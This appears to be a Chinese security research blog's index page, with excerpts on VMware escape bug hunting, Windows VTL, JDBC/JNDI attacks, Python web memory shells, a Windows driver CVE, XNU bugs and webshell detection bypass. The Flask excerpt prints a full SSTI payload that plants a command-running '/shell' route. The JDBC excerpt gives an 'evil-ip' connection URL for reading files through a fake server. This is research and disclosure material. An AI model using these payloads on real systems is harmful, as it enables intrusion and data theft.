【DEFCON & HITB】Bug Hunting In VMware Device Virtualization(上篇)

奇安信天工实验室安全研究成果,入选国际顶级安全会议DEFCON 32 和 HITBSecConf 2024,议题名称《Dragon Slaying Guide: Bug Hunting In VMware Device Virtualization》。 我们将该议题分为三篇文章进行详细讲解。本文是第一篇,主要介绍VMware虚拟化实现,为后续深入探讨VMware虚拟设备漏洞挖掘打下坚实的理论基础。 一、Introduction VMware Workstation/ESXi是市场上最流行的商用虚拟化软件之一。其复杂的虚拟化系统设计和在基础设施中的关键地位使其长期成为黑客的顶级目标。对于安全研究人员来说,发现VMware Hypervisor中的虚拟化逃逸漏洞就像在角色扮演游戏中与巨龙较量一样具有挑战性。 本议题揭露了一个新型攻击面:Device Virtualization in VMKernel 。这是迄今为止,尚未被安全研究探索的未知领地。且该攻击视角尚未被VMware考虑进防御体系,其现有的沙箱机制理论上完全无法防御从VMKernel发起的攻击。在对本次攻击面的分析和VMware Hypervisor的逆向工程中,我们发现了8个与设备虚拟化相关的漏洞,其中5个漏洞已经被分配了CVE编号(CVE-2024-22251、CVE-2024-22252、CVE-2024-22255、CVE-2024-22273、CVE-2024-37086),其余3个漏洞已经被VMware确认。 本议题将从VMware虚拟化实现、USB Device Virtualization 和 SCSI Device Virtualization 三个部分递进讲解,如何发现VMKernel这个攻击面,找到多个未知漏洞的过程。 本周将为大家介绍第一部分:VMware虚拟化实现。该部分会深入介绍 vmm 的加载过程,vmm与vmx数据共享功能的实现,VMware的UserRPC这一Hypervisor与Host通信的实现,这些都是在虚拟设备模拟中至关重要的机制。 二、VMware Virtualization Details 我们将通过介绍我们对VMware 设备虚拟化的逆向工作,来展示我们是如何发现VMKernel这一与设备虚拟化相关的新攻击面的。为了方便阐述我们会用自己逆向所定义的符号名配合代码片段进行解释,其中也有部分符号直接来自于open-vm-tools,我们发现open-vm-tools与vmx共享很多通用数据结构,这加速了我们的逆向分析过程。 我们都知道VMware利用UserRpc机制完成了对很多虚拟设备的实现,在分析具体UserRpcHandler时我们总是会发现vmx经常会使用一些与vmm称为SharedArea 的共享数据,只审计UserRpcHandler我们无法判断这些数据的来源与去向,这时常会让我们有些抓狂。所以我们决定首先分析 UserRpc 的实现,以了解VMware在设备虚拟化方面的工作流程,判断我们在Guest中的数据可以影响的二进制代码块。 三、UserRpc In VMX 当 vmx 进程启动时,其最重要的部分就是按顺序初始化系统需要使用的所有模块,这个模块的表项由模块名和启动初始化函数组成,他很容易从二进制入口点静态分析追踪到,除此之外我们还使用了API Monitor 来监控vmx与内核模块vmx86.sys的通信过程,通过IOCTL指令立即数,我们能在vmx中定位到对应请求发起的位置,以及在vmx86.sys中对应的处理代码。幸运的是,我们能在IDA中看到一些调试日志字符串,这让我们更容易理解相应IOCTL指令的含义。 首先引起我们注意的便是 “IOCTL_VMX86_RUN_VM” 这条指令,他被调用于一个线程的循环内。代码结构上,它一直保持循环调用并会使用 IOCTL_VMX86_RUN_VM 的返回值作为参数之一传递给 Monitor_ProcessUserRpcCall 负责调用对应的处理函数。这种代码结构正是我们需要寻找的 vmm 切回宿主机并调用 vmx 处理UserRpc请求的过程代码,Monitor_ProcessUserRpcCall 其中调用功能函数表就是 Vmware 的 UserRPC 功能在 vmx 侧的实现,并且这些UserRpcHandler函数使用了称为userRpcBlock的共享内存区域指针作为其唯一的参数。...

2024年09月04日 · 2 分钟 · s0duku

深入解析Windows VTL机制 & IUM进程

一、前言 现今的Windows操作系统已经融合了虚拟化技术作为自身的核心功能,Windows平台下的虚拟化技术的应用也不仅限于Hyper-V虚拟化软件的应用,在一些用于保护Windows系统的安全功能中,虚拟化技术的使用也变得尤为重要。现在我们就来简单探索下Windows的VTL机制和IUM进程,这两种基于虚拟化技术的安全功能。 二、VTL机制和IUM进程介绍 Virtual Secure Mode(VSM)最早在Windows10和Windows Server 2016中被引入,是基于Windows平台下的虚拟化技术的安全功能,使用的是Hyper-V的虚拟化组件。 VSM的主要作用是,在这个安全功能开启的情况下,即使主机上的内核或者驱动程序(即Ring0层)受到攻击,受到VSM体系保护的数据依然可以保持安全,保证数据不被篡改或者无法被访问,甚至攻击者处于Ring0权限下。 与我们熟知的VMware或者QEMU虚拟化软件不同,Hyper-V的虚拟化实现是裸金属架构的,即Hypervisor层的组件运行在实体的硬件上,而无论是所谓的Guest(Child Parition)或者Host(Root Parition)都是Hypervisor层之上抽象出来的。 那么,Hyper-V的技术架构是VSM功能的基础,无论是Guest还是Host,实际上都可以通过Hypervisor来控制不同分区对硬件资源的使用能力从而实现在VSM中提及的安全功能。 VSM功能的引入同时引入了一个新的概念——VTL。 Virtual Trust Levels(VTL),VSM通过VTL来实现和维护隔离。VTL是有层级概念的,例如熟知的Ring0~3层级权限。但是与Ring0~3概念不同的是,VTL的层级权限是级别高的权限要高于级别低的权限。举个例子:VTL0的权限 < VTL1的权限;VTL1的权限 < VTL2的权限。在微软对VTL的代码实现里,最多支持16个级别VTL,但是截止到目前的关于VTL的代码中,微软只实现了2个级别的VTL。 为了更直观的展示VTL的作用,这里使用了微软官方给出的IUM架构体系图。 从图中可以看到,我们所熟知的Windows内核态和用户态都属于VTL0级别下,而SecureKernel和运行在同VTL层级下的用户态进程属于VTL1级别下。此时,假如我们在VTL0种进行内核调试,都无法修改VTL1层级下的用户态进程空间内存。这个例子说明了低级别VTL无法影响到高级别VTL内存空间,不同的VTL级别之间有着明显的隔离边界。 有了VTL这个概念之后,下面我们来介绍下什么是Isolated User Mode(IUM)进程。通俗来讲,IUM进程就是运行在VTL1层级下的用户态进程。最简单的例子就是LSAIso.exe进程,当这个进程运行在VTL1层级下时,无论是在用户态还是内核态都无法修改这个进程的内存空间,同样地,对其进行调试也是无法进行的。 下面,我们一起来探索VTL机制和IUM进程(以及如何调试IUM进程)的一些内部细节。 三、必要的硬件虚拟化知识(Intel) 在探索之前,我们还需要简单的了解下CPU硬件虚拟化知识,这里我们以Intel处理器(Intel VT-x)加以介绍。 这里首先要介绍的是Intel VT-x和VMX是什么。Intel VT-x的全称是Intel Virtualization Technology for x86,这个东西就是所谓的Intel硬件虚拟化技术,而VMX是其实现的架构,全称为Virtual-Machine Extensions。在VMX下引入了两个概念:VMX root operation和VMX non-root operation模式。 VMX的root和non-root operation模式可以简单地理解成,hypervisor也就是虚拟化层,即VM管理者(VMM, virtual machine monitor)和Guest所使用的环境。这两种模式可以互相转换,当从VMX的root模式转换到non-root模式时,这个行为被称作VM-entry。那么当VMX的non-root模式切换到root模式,这个行为被称作VM-Exit。 假设目前VMX处于non-root状态,此时是在执行Guest中的代码,如果执行时遇到了比如CPUID,读写MSR寄存器等操作时,Guest操作系统会被暂停,并产生Vm-Exit事件,同时陷落入VMM,即root operation状态中。VMM根据不同的VM-Exit原因来处理(模拟)此时Guest的执行指令,处理数据并返回结果,最后vmm通过执行vmresume指令重新让Guest系统继续运行,此时的VMX状态又变回了non-root状态。 在VMX进行root和non-root operation状态切换时,VMCS(Virtual Machine Control Structure)用来配置此时发生切换的处理器状态和执行的环境。在Hyper-V的虚拟化环境中,每个虚拟处理器都对应着一个或者多个VMCS。 VMCS中有很多字段,对应着当前虚拟处理器的状态信息,比如用于记录当前VM-Exit信息的"Exit reason"字段,通过阅读Intel手册发现这个字段对应的ID是0x4402。因为VMCS中的字段信息无法直接通过读取物理内存的方式读取到,所以这里必须使用Intel给出的指令集vmread/vmwrite来读写对应的字段内容。 #define EXIT_REASON_EXCEPTION_NMI 0 #define EXIT_REASON_EXTERNAL_INTERRUPT 1 #define EXIT_REASON_TRIPLE_FAULT 2 #define EXIT_REASON_INIT_SIGNAL 3 #define EXIT_REASON_SIPI_SIGNAL 4 #define EXIT_REASON_INTERRUPT_WINDOW 7 #define EXIT_REASON_NMI_WINDOW 8 #define EXIT_REASON_TASK_SWITCH 9 #define EXIT_REASON_CPUID 10 #define EXIT_REASON_HLT 12 #define EXIT_REASON_INVD 13 #define EXIT_REASON_INVLPG 14 #define EXIT_REASON_RDPMC 15 #define EXIT_REASON_RDTSC 16 #define EXIT_REASON_VMCALL 18 #define EXIT_REASON_VMCLEAR 19 #define EXIT_REASON_VMLAUNCH 20 #define EXIT_REASON_VMPTRLD 21 #define EXIT_REASON_VMPTRST 22 #define EXIT_REASON_VMREAD 23 #define EXIT_REASON_VMRESUME 24 #define EXIT_REASON_VMWRITE 25 #define EXIT_REASON_VMOFF 26 #define EXIT_REASON_VMON 27 #define EXIT_REASON_CR_ACCESS 28 #define EXIT_REASON_DR_ACCESS 29 #define EXIT_REASON_IO_INSTRUCTION 30 #define EXIT_REASON_MSR_READ 31 #define EXIT_REASON_MSR_WRITE 32 #define EXIT_REASON_INVALID_STATE 33 #define EXIT_REASON_MSR_LOAD_FAIL 34 #define EXIT_REASON_MWAIT_INSTRUCTION 36 #define EXIT_REASON_MONITOR_TRAP_FLAG 37 #define EXIT_REASON_MONITOR_INSTRUCTION 39 #define EXIT_REASON_PAUSE_INSTRUCTION 40 #define EXIT_REASON_MCE_DURING_VMENTRY 41 #define EXIT_REASON_TPR_BELOW_THRESHOLD 43 #define EXIT_REASON_APIC_ACCESS 44 #define EXIT_REASON_EOI_INDUCED 45 #define EXIT_REASON_GDTR_IDTR 46 #define EXIT_REASON_LDTR_TR 47 #define EXIT_REASON_EPT_VIOLATION 48 #define EXIT_REASON_EPT_MISCONFIG 49 #define EXIT_REASON_INVEPT 50 #define EXIT_REASON_RDTSCP 51 #define EXIT_REASON_PREEMPTION_TIMER 52 #define EXIT_REASON_INVVPID 53 #define EXIT_REASON_WBINVD 54 #define EXIT_REASON_XSETBV 55 #define EXIT_REASON_APIC_WRITE 56 #define EXIT_REASON_RDRAND 57 #define EXIT_REASON_INVPCID 58 #define EXIT_REASON_VMFUNC 59 #define EXIT_REASON_ENCLS 60 #define EXIT_REASON_RDSEED 61 #define EXIT_REASON_PML_FULL 62 #define EXIT_REASON_XSAVES 63 #define EXIT_REASON_XRSTORS 64 #define EXIT_REASON_UMWAIT 67 #define EXIT_REASON_TPAUSE 68 #define EXIT_REASON_BUS_LOCK 74 #define EXIT_REASON_NOTIFY 75 通过vmread读取0x4402 id字段的内容,就可以得到VM-Exit的原因,VMM根据上图中这些若干的原因进行处理,完成处理后,将结果改写到例如Guest中的寄存器中,此时也需要通过vmwrite改写其中关于Guest寄存器信息的字段,最后通过vmresume将控制权交还Guest。...

2024年08月21日 · 18 分钟 · hongzhenhao

Scala代码审计之痛 -- Scala与Java的爱恨情仇

一、前言 Scala 是一门多范式的编程语言,集成了面向对象编程和函数式编程的多种特性。函数式编程抽象的理论基础也让这门语言变得抽象起来,初学者需要花更多的时间去理解其特有概念以及众多的语法糖。Scala是一门运行在JVM平台上的语言,其源码编译结果符合Java字节码规范,所以可以被反编译为Java代码。在进行Scala代码审计的过程中,审计者很少有机会直面其源码,大多数时候都是被反编译为Java的代码所支配。Scala与Java毕竟是两门语言,反编译成Java代码的后果便是丧失了动态调试的能力(这为审计者带来了不小的麻烦),反编译后产生的中间代码、临时变量等辅助结构更是极大得降低了代码的可读性。本文将带领诸位抽丝剥茧逐步梳理出Scala各语法结构与Java语法结构对应关系,最后以两个漏洞案例的分析加以对比说明。 二、特殊语法结构识别 除了循环、条件判断、面向对象等基础语法外,Scala还提供了极具特色的语法结构,如:模式匹配、隐式转换、传名调用、函数柯里化、伴生对象、特质、提取器、函数式编程等。本章不会重点着墨于这些语法的介绍,而是向读者展示在将Scala源程序反编译为Java代码后产生的那些不太常规的语法结构以及一些奇怪的变量(MODULE$/$outer/package/$init$)等。 2.1 伴生对象 本节将会涉及到特殊变量MODULE$的含义 Scala中没有static关键字,其通过伴生对象来实现static的效果。伴生对象是类自身定义的单个实例,可以被理解为当前类的一个单例对象(并不显式依赖一个类,可独立存在),以下代码展示了一个类的伴生对象: package org.example class Singletons(){ private var llac: String = "九敏啊,我是伴生类的私有属性,我被伴生对象调用了" private def callSingleField(): Unit = { // 调用伴生对象的私有属性 println(Singletons.call) } } object Singletons { private var call: String = "九敏啊,我是伴生对象的私有属性,我被伴生类调用了" def sayHello(llac: String): Unit = { println(llac) } def main(args: Array[String]): Unit = { val s: Singletons = new Singletons() // 调用伴生类的私有属性 sayHello(s.llac) // 调用伴生类的私有方法 s.callSingleField() } } 在上面提供的代码中,被关键字object修饰的对象被称为类Singletons的伴生对象,类Singletons被称为object关键字修饰的对象的伴生类,两者可互相调用其私有属性以及方法。 Scala语言是运行在jvm上的,其最终编译结果符合Java字节码规范,于是便可以将其反编译成为Java代码进行查看,这样会得到与Scala源代码迥然不同的代码结构,并产生一些中间代码。审计者在进行Scala代码审计时大多数时候面对的都是被反编译成为Java代码的Scala程序,所以如何快速高效地识别Scala代码转换后的语言结构就尤为重要,特别是一些特殊的变量。 以下便是上文Scala源代码反编译成为Java代码后的形态:...

2024年08月07日 · 16 分钟 · falc0n_leo

Git 出乎意料的攻击面

一、来自Git的威胁 现如今,很多软件开发者已经对git工具非常熟悉,很多人的开发流程中会使用这个工具进行仓库备份,与其他开发者进行代码同步,实现合作开发等等。然而,这样的工具也可能成为黑客入侵的突破口。本文就git的相关基础以及实际案例,列举现阶段中git可能出现的攻击面。 二、Git工作原理 在聊git的攻击面之前,我们需要弄清楚git是怎么工作的。举个例子来说,假设我们现在有一个空仓库叫做main-repo,此时我们在其中创建文件test.txt,test.txt中包含内容: 123 在未commit的时候,此文件结构如下: ├── .git │ ├── HEAD │ ├── config │ ├── description │ ├── hooks // 省略这其中的文件 │ ├── info │ │ └── exclude │ ├── objects │ │ ├── info │ │ └── pack │ └── refs │ ├── heads │ └── tags └── main.txt 此时,如果我们将这个修改commit之后,目录结构会变成如下: . ├── .git │ ├── COMMIT_EDITMSG │ ├── HEAD │ ├── config │ ├── description │ ├── index │ ├── info │ │ └── exclude │ ├── logs │ │ ├── HEAD │ │ └── refs │ │ └── heads │ │ └── main │ ├── objects │ │ ├── 45 │ │ │ └── bfe823309403a8fd790cce2013dda0e7f67b5b │ │ ├── 8e │ │ │ └── 1e8a2e68efa3744caf8b601bd0de70c6fe4b66 │ │ ├── bf │ │ │ └── 1fa3d901014eeb98e85a0ed1cd1dd0e83ab3f6 │ │ ├── f6 │ │ │ └── c47b7d00ea7068e091f23601063a1f557df458 │ │ ├── fe │ │ │ └── 8fd7574c9a5c4f805f8239829989cef7129d29 │ │ ├── info │ │ └── pack │ └── refs │ ├── heads │ │ └── main │ └── tags ├── ....

2024年07月31日 · 9 分钟 · l1nk

JDBC Attack 与高版本 JDK 下的 JNDI Bypass

一、前言 JNDI 注入作为 Java 攻击的常见 Sink 点,通常被用于 Weblogic 以及 Fastjson 等常见目标的攻击流程中,而 JNDI 注入的利用经过 JDK 新版本对相关利用的修复,以及一些常见依赖利用方式的变化,在高版本 JDK 中,其利用逐渐遭遇了困境。而 JDBC Attack,作为针对 Java 数据库引擎的一种攻击方式,除了其常规的利用方式之外,也可以与原生反序列化结合起来,实现对 JNDI 攻击的扩展,解决高版本下 JNDI 注入的困境。 二、关于 JDBC Attack 首先是关于基础的JDBC Attack的一些回顾,JDBC 是Java应用在连接不同的底层数据库引擎时使用的抽象层,使得Java应用可以用相同的接口对各种不同的数据库进行抽象的控制,JDBC使用如下的URL格式进行连接。 Class.forName("com.mysql.cj.jdbc.Driver"); String url = "jdbc:mysql://mysql.db.server:3306/my_database?useSSL=false&serverTimezone=UTC" Connection conn = DriverManager.getConnection(url) 而该URL中,后面的可控参数就是针对不同数据库Driver进行利用的入口。 接下来我们来回顾一下常见的几个 Driver 的利用: 2.1 MySQL Driver 针对MySQL Driver的通用利用主要是使用 Fake Server 进行任意文件读,首先需要配置 MySQL fake server,然后开启 allowLoadLocalInfile=true 设置,构造形如 jdbc:mysql://evil-ip:3306/test?allowLoadLocalInfile=true 的 URL 去请求 fake server 即可进行利用。 对于 MySQL 也可以打反序列化,但是有版本限制,只有较老的 <= 8.0.20, < 5....

2024年07月24日 · 5 分钟 · crumbledwall

Rust逆向入门:从反编译视角学习内存模型

一、前言 Rust反编译一直是比较困难的问题,Rust强调零成本抽象,在使用高级特性(如泛型、闭包、迭代器等)时为了不引入额外的运行时开销,编译器会生成高度优化且复杂的机器码,从而难以直接恢复高层的抽象结构,除此之外,Rust 的所有权系统及其借用检查器在编译过程中被彻底消解成运行时代码。这个过程生成了许多低级的内存管理代码,这些代码在反编译时难以重新构建成高层次的所有权和生命周期语义。尽管反编译 Rust 代码有诸多困难,但进行 Rust 反编译依然具备现实意义,例如分析闭源Rust代码,寻找潜在的安全漏洞。本文旨在学习Rust基本内存数据结构及其内存布局,并且通过反编译视角理解Rust编译器到底做了什么事。 值得注意的时,Rust目前没有确定内存模型,因此本文谈到的是Rustc编译器实现的Rust模型。 Rust 目前没有确定内存模型 Rust does not yet have a defined memory model. Various academics and industry professionals are working on various proposals, but for now, this is an under-defined place in the language. 二、反编译器准备 本文中的很多例子会使用到反编译工具,例如IDA或者ghidra。ghidra在11版本以后增加了对Rust支持,在使用ghidra进行反编译Rust工具时只需要选中Demangler Rust即可。 IDA则需要额外的IDARustDemangler插件,不管是ghidra的Demangler Rust功能亦或是IDARustDemangler插件,其功能都是将Rust二进制文件中经过编译器mangle过的符号进行demangle,得到原始符号,以下以IDA得视角对比了demangle之前与demangle之后得代码视图,可以看到可读性大大增加。 demangle之前: demangle之后: 三、函数调用__Rustcall 在x86_64平台UNIX系统下面,Rust遵循System V ABI,即传参会通过rdi、rsi、rdx、rcx、r8、r9等,返回值会通过rax,在某些情况下,compiler会进行返回值优化(Return Value Optimization,RVO),这时候函数调用约定就会发生变化,返回值不再是使用rax进行传递,而是使用rdi(函数的第一个参数)。以如下例子为例,我们查看ghidra编译器到底做了什么? fn add_str_ret_str(a:&str,b:&str)->String{ return a.to_string()+&b.to_string(); } 对于上述代码,因为在返回时新建了对象(没有新建对象不会触发RVO,此时依旧通过rax传递对象),会触发返回值优化,使得返回值通过第一个参数进行传递。 IDA视角下得Rustcall,IDA会将第一个参数命名为retstr,提醒用户这个字段是返回值。 在ghidra视角下rust调用使用__rustcall关键字标识,ghidra使用return_storage_ptr来标记返回值。 四、Rust内存布局 在Rust中基本类型、引用(存储的是变量的地址,大小为8字节)、数组(连续内存块)与传统的C、C++内存布局一样,因此本文不再赘述。本文主要探究Rust特有实现,例如动态数组、String、动态大小类型(Dynamic Sized Type,DST)。 4.1 动态数组与String Rust中的动态数组Vec以及String类型的底层实现与C++容器相同,其采用三个部分来表示,分别是: pointer:指向数据字节流buffer中存储的数据; length:buffer中字节流的字节长度; capacity:buffer的长度。 实际上看String的实现,会发现String的实现基于Vec,以下代码摘自Rust底层实现:...

2024年07月17日 · 3 分钟 · b4tm4n

Python Web 内存马多框架植入技术详解

一、前言 内存马作为一种常见的攻击与权限维持手段,往往多见于Java Web应用中,然而在Python Web场景下却并不多见这种攻击。 本文将针对Flask、Tornado与Django三个在日常开发中使用频率较高的框架,探寻在Python Web场景下的内存马种植方法,文中所有场景均为抽象出的理想场景,仅做可行性讨论。 二、Flask 2.1 老版本Flask内存马种植方法 在网上针对Flask内存马的探讨,均在SSTI场景下,并且payload都相同,格式化后payload如下: url_for.__globals__['__builtins__']['eval']( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )", { '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } ) 在Flask中所有定义的路由都会使用一个装饰器 app.route,而这个装饰器就是调用了 add_url_rule。 @setupmethod def route(self, rule: str, **options: t.Any) -> t.Callable[[T_route], T_route]: def decorator(f: T_route) -> T_route: endpoint = options.pop("endpoint", None) self.add_url_rule(rule, endpoint, f, **options) return f return decorator 所以在payload中,直接调用了Flask中的 add_url_rule 函数来动态增加一条路由实现内存马。然而在最新版本的Flask中,如果直接使用这个payload会发现将抛出一个异常。 2.2 AssertionError出现原因 在回溯这个异常的时候会发现,这个异常出现在 setupmethod 这个装饰器中的一个校验函数。 def _check_setup_finished(self, f_name: str) -> None: if self._got_first_request: raise AssertionError( f"The setup method '{f_name}' can no longer be called" " on the application....

2024年07月10日 · 5 分钟 · 4uuu

以 CVE-2024-26229 为例分析 Windows RDBSS 机制

一、前言 CVE-2024-26229是今年4月微软修补的一个任意地址写零漏洞,该漏洞位于csc.sys驱动中。攻击者在Windows上获得较低权限的任意代码执行后,可以利用该漏洞将低权限提升至system权限。目前Exp由varwara公布在了github上。 二、csc.sys简介 csc.sys(Windows Client Side Caching Driver)是脱机文件(offline files)功能的一部分。脱机文件功能是默认在本机存一份共享文件的副本,这样做的优点有两点,一方面可以节省网络流量,另一方面是断网条件下,仍然可以使用共享文件夹,等到有网之后再进行同步。默认副本文件存储在C:\Windows\CSC文件夹中,普通用户没有权限访问该文件夹的内容。 下面以SMB协议为例,演示如何开启脱机文件功能。 首先准备两台虚拟机,一台为SMB server,一台为SMB client。 在SMB Server首先新建一个文件夹,然后共享此文件夹,并设置此权限为完全控制。 在SMB client打开控制面板进入同步中心->管理脱机文件->启动脱机文件。 然后访问SMB server,点击始终脱机可用。 之后就会出现一个新的文件夹,即为本机副本。 此时关闭share文件夹分享,仍然能操作share文件夹。 三、漏洞成因分析 通过README可以看出该漏洞产生的原因是在csc.sys中没有校验用户态以METHOD_NEITHER方式和驱动进行通信时用户态传入的缓冲区地址是否是合法地址,从而导致任意地址读或者任意地址写。 下面介绍一下windows用户态与驱动的通信方式来解释为什么以METHOD_NEITHER与驱动进行通信时需要对用户态传入的地址进行合法校验。 在windows中用户态与驱动的通信方式共有三种: METHOD_BUFFERED METHOD_IN_DIRECT METHOD_OUT_DIRECT METHOD_NEITHER METHOD_BUFFERED方式对UserInputBuffer和UserOutputBuffer都进行缓冲,驱动程序无需对用户态传入的缓冲区地址进行校验。 METHOD_IN_DIRECT和METHOD_OUT_DIRECT只对UserInputBuffer进行缓冲,对于UserOutputBuffer采用的是将用户态地址锁定(即不让其换出内存),然后映射为内核地址。在驱动写入后,重新映射为用户态地址。 METHOD_NEITHER (也就是出现漏洞的这种通信方式) 驱动程序直接读写用户态的缓冲区,优点是读写更快,缺点是驱动程序在读写缓冲区之前需要使用ProbeForRead/ProbeForWrite函数去探测地址是否合法。就可能会出现漏洞,例如用户态的传入的UserInputBuffer和UserOutputBuffer均为内核态地址,驱动就会根据用户态传入地址读写,即可造成任意地址读写。 四、补丁分析 可以看到有两个函数有改动,既然本漏洞是关于I/O control的,那么优先看CscDevFcbXXXControlFile这个函数改动。 通过bindiff可以看到从00000001C006B243这个块开始有所不同,定位到对应的反编译的伪c代码进行比较。 在patch之后的代码加了一个if判断 如果if 判断条件为true,则首先在使用前判断v12是否小于0x24 如果小于0x24,则调用失败 如果大于等于0x24,则会判断(a1+40)+64的是否不为0,这里推测如果为1的话,应该表示该请求来自用户态 如果不为0,则会使用ProbeForWrite探测a1+536的地址是否合法 然后对a1+536的位置写入一个8字节的0 (这里可能就是未patch的漏洞点了) 如果if判断条件为false,则使用原来的漏洞代码 patch代码保留原来漏洞代码目的推测为微软可能认为新代码可能会影响正常的功能,一旦遇到问题可以只需要改一下某个标志位就可以回滚回原来的代码,等到新代码完全稳定后估计就会删除原来的漏洞代码。 五、漏洞触发流程分析 从目前的分析来看,这个漏洞模式比较简单,为什么之前没有被人扫描到或者分析出来,我认为有两点原因。 ida反编译显示错误,有的时候你看csc.sys驱动的DriverEntry函数,可能如下图所示: 如果你多次Undefine然后重新反编译DriverEntry,就会发现DriverEntry函数是很长的。 csc.sys是一个内核网络微型重定向器驱动程序(Kernel Network Mini-Redirector Driver)使用了重定向驱动器缓冲子系统 (Redirected Drive Buffering Subsystem) 使得处理DeviceIoControl调用栈过深,不易被发现。 由DriverEntry可以看到用户态所有请求都由CscFsdDispatch处理,跟进CscFsdDispatch函数可以发现大部分的请求都是由导入函数RxFsdDispatch处理 RxFsdDispatch是由rdbss.sys中实现,下面介绍以下csc.sys与rdbss.sys交互为例介绍rdbss机制。 5.1 rdbss机制分析 csc.sys与rdbss.sys的交互分为三个状态,并且是顺序的。 5.1.1 csc.sys在初始化时调用RxRegisterMinirdr()初始化PRDBSS_DEVICE_OBJECT的部分成员 RxRegisterMinirdr函数声明如下: NTSTATUS RxRegisterMinirdr( [out] OUT PRDBSS_DEVICE_OBJECT *DeviceObject, [in, out] IN OUT PDRIVER_OBJECT DriverObject, [in] IN PMINIRDR_DISPATCH MrdrDispatch, [in] IN ULONG Controls, [in] IN PUNICODE_STRING DeviceName, [in] IN ULONG DeviceExtensionSize, [in] IN DEVICE_TYPE DeviceType, [in] IN ULONG DeviceCharacteristics ); 这里主要关注MrdrDispatch这个参数,这个参数指向网络微型重定向驱动的调度表的指针。此调度表包括网络微型重定向驱动的配置信息和指向由网络微型重定向器内核驱动程序实现的回调例程的指针表。RDBSS 通过此回调例程列表调用网络微型重定向器驱动程序。...

2024年07月03日 · 5 分钟 · wanghaozhe

Apple 操作系统 - XNU 内核下 FlowDivert 网络协议漏洞分析

一、前言 Flow Divert 协议在 macOS 中提供了强大的流量管理和重定向功能,广泛应用于 VPN 和其他高级网络控制场景。通过内核扩展和用户态守护进程的协同工作,Flow Divert 允许系统和应用程序动态管理网络流量,增强安全性、隐私保护和网络性能。本文旨在分析FlowDivert模块内出现的历史的漏洞以及引入的新代码所引发的漏洞存在。 二、XNU中网络API函数的调用路径 首先此处拿connect函数来进行简单分析下调用路径,后续会有用到其中一些内容。 int connect(proc_ref_t p, struct connect_args *uap, int32_ref_t retval) { __pthread_testcancel(1); return connect_nocancel(p, (struct connect_nocancel_args *)uap, retval); } 当我们在用户态调用connect函数的时候,系统则会在库里面调用对应的系统调用并进入内核中在内核中,它对应函数的名字依旧是connect()作为函数名,其中三个参数分别是当前进程结构体的引用,以及此处的uap指针则是用户态传给内核态的相关参数,最后则是一个返回值的指针。 int connect_nocancel(proc_t p, struct connect_nocancel_args *uap, int32_ref_t retval) { #pragma unused(p, retval) socket_ref_t so; struct sockaddr_storage ss; sockaddr_ref_t sa = NULL; int error; int fd = uap->s; boolean_t dgram; AUDIT_ARG(fd, uap->s); error = file_socket(fd, &so); if (error != 0) { return error; } ....

2024年06月26日 · 7 分钟 · fmyy

阿里云WebShell伏魔挑战赛新思路挖掘

一、前言 去年的Webshell引擎检测绕过思路分享中,主要介绍了当下主流引擎对WebShell检测引擎的几种检测方法,再针对各个检测方法,逐一的利用Java语法的trick去进行绕过。重心放在了检测引擎的行为上,依赖对Java语法和trick的先验知识进行绕过。在今年的比赛中,去年文中列出的绕过方法基本上已经被引擎修复完成。结合今年比赛的经历,分享一下在已有的trick都被ban,如何从0研究出新的绕过思路,把重心转移到Webshell本身上,通过分析jsp的解析过程,挖掘绕过方法。 二、jsp解析逻辑 Tomcat处理jsp的核心的逻辑是它实现了一个处理jsp的Servlet:org.apache.jasper.servlet.JspServlet,这个Servlet处理所有以jsp为后缀的请求。 public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ... try { boolean precompile = this.preCompile(request); this.serviceJspFile(request, response, jspUri, precompile); } catch (IOException | ServletException | RuntimeException var5) { Exception e = var5; throw e; } catch (Throwable var6) { Throwable e = var6; ExceptionUtils.handleThrowable(e); throw new ServletException(e); } } 当我们上传一个jsp文件后,在这个service处下断点,然后请求这个jsp,跟进代码,程序在org.apache.jasper.servlet.JspServletWrapper中调用如下代码进行编译 this.ctxt.compile(); 这是一个JspCompilationContext对象,它在JspServletWrapper的构造方法中被生成,其中jspuri是文件名,options保存了jsp文件的参数信息。 this.ctxt = new JspCompilationContext(jspUri, options, config.getServletContext(), this, rctxt); 整个从jsp到生成class的编译过程都是发生在JspCompilationContext的compile方法中 public void compile() throws JasperException, FileNotFoundException { this....

2024年06月19日 · 10 分钟 · yyhy